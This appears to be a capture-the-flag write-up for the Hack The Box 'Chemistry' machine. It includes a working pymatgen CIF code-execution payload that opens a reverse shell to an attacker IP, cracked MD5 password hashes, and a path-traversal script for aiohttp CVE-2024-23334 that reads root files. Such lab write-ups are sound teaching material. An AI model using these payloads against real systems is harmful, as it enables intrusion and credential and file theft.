Skip to content
HTB • CTF • Chemistry • Write-Up

HTB • CTF • Chemistry • Write-Up

Updated: at 10:46 AM

Table of contents

Open Table of contents

INFO

CTF URL:https://app.hackthebox.com/machines/Chemistry

Machine Type: Linux

IP: 10.10.11.38

Difficulty: Easy

Reconnaissance

NMAP

sudo nmap -p- -sS -sC -sV 10.10.11.38 -v --min-rate 10000
# result
PORT     STATE SERVICE    VERSION
22/tcp   open  tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
5000/tcp open  tcpwrapped

WEB

Some app at http://10.10.11.38:5000/, It allows Login and Register:

_

After Login we can upload CIF files

_

The example: http://10.10.11.38:5000/static/example.cif

CIF Parser is Vulnerable

References:

There is a possibility that the web app is using a python library called pymatgen which is vulnerable to RCE.

Simple check

Let’s setup a listener and make the victim machine to make a curl request:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("curl http://10.10.14.30:1234");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

After uploading the CIF file and clicking View, we received a request.

nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.11.38] 51202
GET / HTTP/1.1
Host: 10.10.14.30:1234
User-Agent: curl/7.68.0
Accept: */*

Getting Shell

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.14.30/1234 0>&1'");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

And we received the shell

nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.11.38] 42230
sh: 0: can't access tty; job control turned off
$ whoami
app

Enumeration

Python App

In the /home/app we can see

$ ls
app.py
instance
linpeas.sh
pwned
static
templates
uploads

in app.py we can see some secret key and Database file

...
app = Flask(__name__)
app.config['SECRET_KEY'] = 'MyS3cretCh3mistry4PP'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['UPLOAD_FOLDER'] = 'uploads/'
app.config['ALLOWED_EXTENSIONS'] = {'cif'}
...

Database

DB file is under instance

ls instance
# result
database.db

Let’s download it

python3 -m http.server
# then download it

Sqlite Database contains:

sqlite> SELECT name FROM sqlite_master WHERE type='table';
structure
user
sqlite> select * from structure;
1|15|a.cif|41113cee-b216-43d3-9ee6-0abd45ebdd1f
2|16|example.cif|7982a882-bcbf-4172-af04-9db08d42a34a
sqlite> select * from user;
1|admin|2861debaf8d99436a10ed6f75a252abf
2|app|197865e46b878d9e74a0346b6d59886a
3|rosa|63ed86ee9f624c7b14f1d4f43dc251a5
4|robert|02fcf7cfc10adc37959fb21f06c6b467
5|jobert|3dec299e06f7ed187bac06bd3b670ab2
6|carlos|9ad48828b0955513f7cf0f7f6510c8f8
7|peter|6845c17d298d95aa942127bdad2ceb9b
8|victoria|c3601ad2286a4293868ec2a4bc606ba3
9|tania|a4aa55e816205dc0389591c9f82f43bb
10|eusebio|6cad48078d0241cca9a7b322ecd073b3
11|gelacia|4af70c80b68267012ecdac9a7e916d18
12|fabian|4e5d71f53fdd2eabdbabb233113b5dc0
13|axel|9347f9724ca083b17e39555c36fd9007
14|kristel|6896ba7b11a62cacffbdaded457c6d92
15|elnur|ffc5407c2eb77247943c8c25369626f8
16|aman|ccda1683d8c97f8f2dff2ea7d649b42c

Those are md5 hashes

2861debaf8d99436a10ed6f75a252abf
197865e46b878d9e74a0346b6d59886a
63ed86ee9f624c7b14f1d4f43dc251a5
02fcf7cfc10adc37959fb21f06c6b467
3dec299e06f7ed187bac06bd3b670ab2
9ad48828b0955513f7cf0f7f6510c8f8
6845c17d298d95aa942127bdad2ceb9b
c3601ad2286a4293868ec2a4bc606ba3
a4aa55e816205dc0389591c9f82f43bb
6cad48078d0241cca9a7b322ecd073b3
4af70c80b68267012ecdac9a7e916d18
4e5d71f53fdd2eabdbabb233113b5dc0
9347f9724ca083b17e39555c36fd9007
6896ba7b11a62cacffbdaded457c6d92
ffc5407c2eb77247943c8c25369626f8
ccda1683d8c97f8f2dff2ea7d649b42c

Crackstation.net gives the following:

63ed86ee9f624c7b14f1d4f43dc251a5 md5 unicorniosrosados
9ad48828b0955513f7cf0f7f6510c8f8 md5 carlos123
6845c17d298d95aa942127bdad2ceb9b md5 peterparker
c3601ad2286a4293868ec2a4bc606ba3 md5 victoria123
ffc5407c2eb77247943c8c25369626f8 md5 elnur
ccda1683d8c97f8f2dff2ea7d649b42c md5 aman

Another User

Another user called rosa in the /home.

ls -la /home
...
drwxr-xr-x  8 app  app  4096 Oct  9 20:18 app
drwxr-xr-x  5 rosa rosa 4096 Jun 17 01:51 rosa

We got rosa’s password from previous step:

ssh [email protected]
# result
rosa@chemistry:~$ id
uid=1000(rosa) gid=1000(rosa) groups=1000(rosa)

User.txt

rosa@chemistry:~$ cat user.txt
c6d1d51406a13a0777aafec43b0e478f

Getting Root.txt

Local Service

There is an open port:

rosa@chemistry:~$ ss -tulpn
Netid          State           Recv-Q          Send-Q                    Local Address:Port                     Peer Address:Port          Process
udp            UNCONN          0               0                         127.0.0.53%lo:53                            0.0.0.0:*
udp            UNCONN          0               0                               0.0.0.0:68                            0.0.0.0:*
tcp            LISTEN          0               128                           127.0.0.1:8080                          0.0.0.0:*
tcp            LISTEN          0               4096                      127.0.0.53%lo:53                            0.0.0.0:*
tcp            LISTEN          0               128                             0.0.0.0:22                            0.0.0.0:*
tcp            LISTEN          0               128                             0.0.0.0:5000                          0.0.0.0:*
tcp            LISTEN          0               128                                [::]:22                               [::]:*

So, let’s forward the port to our local machine:

ssh [email protected] -L 8080:localhost:8080

We find a Management website: _ It allows showing services, but starting and stoping functionalities are not working. In the remote server we can check that this service is python app located in /opt and works as a service:

rosa@chemistry:~$ ls -la /opt
...
drwx------  5 root root 4096 Oct  9 20:27 monitoring_site
# ---
rosa@chemistry:~$ ps aux | grep monitor
root        1084  0.0  1.7 336864 34648 ?        Ssl  00:07   0:09 /usr/bin/python3.9 /opt/monitoring_site/app.py
# ---
rosa@chemistry:~$ cat /etc/systemd/system/monitoring_site.service
[Unit]
Description=Monitoring Site
After=network.target

[Service]
User=app
WorkingDirectory=/opt/monitoring_site/
ExecStart=/usr/bin/python3.9 /opt/monitoring_site/app.py
User=root
Group=root
Restart=always

[Install]
WantedBy=multi-user.target

I tried to brute force for some endpoints on the app, but could not find anything useful.

If we verbosely curl the python app we can get the version.

curl 'http://localhost:8080' -v
* Host localhost:8080 was resolved.
* IPv6: ::1
* IPv4: 127.0.0.1
*   Trying [::1]:8080...
* Connected to localhost (::1) port 8080
> GET / HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 5971
< Date: Thu, 07 Nov 2024 13:17:21 GMT
< Server: Python/3.9 aiohttp/3.9.1
<
<!DOCTYPE html>
...

Server: Python/3.9 aiohttp/3.9.1

And fortunately, we have a CVE - CVE-2024-23334 and exploit for it:

Exploitation

Slightly modified version would be:

#!/bin/bash

url="http://localhost:8080"
string="../"
payload="/assets/" # assets is the existing folder in the app
file="root/root.txt" # without the first /

for ((i=0; i<15; i++)); do
    payload+="$string"
    echo "[+] Testing with $payload$file"
    status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
    echo -e "\tStatus code --> $status_code"

    if [[ $status_code -eq 200 ]]; then
        curl -s --path-as-is "$url$payload$file"
        break
    fi
done

The result:

bash exploit.sh
[+] Testing with /assets/../root/root.txt
        Status code --> 404
[+] Testing with /assets/../../root/root.txt
        Status code --> 404
[+] Testing with /assets/../../../root/root.txt
        Status code --> 200
79003590a00ccf022f73b91990ed2cb2

As a result we exploited Path Traversal vulnerability and read root flag.

Result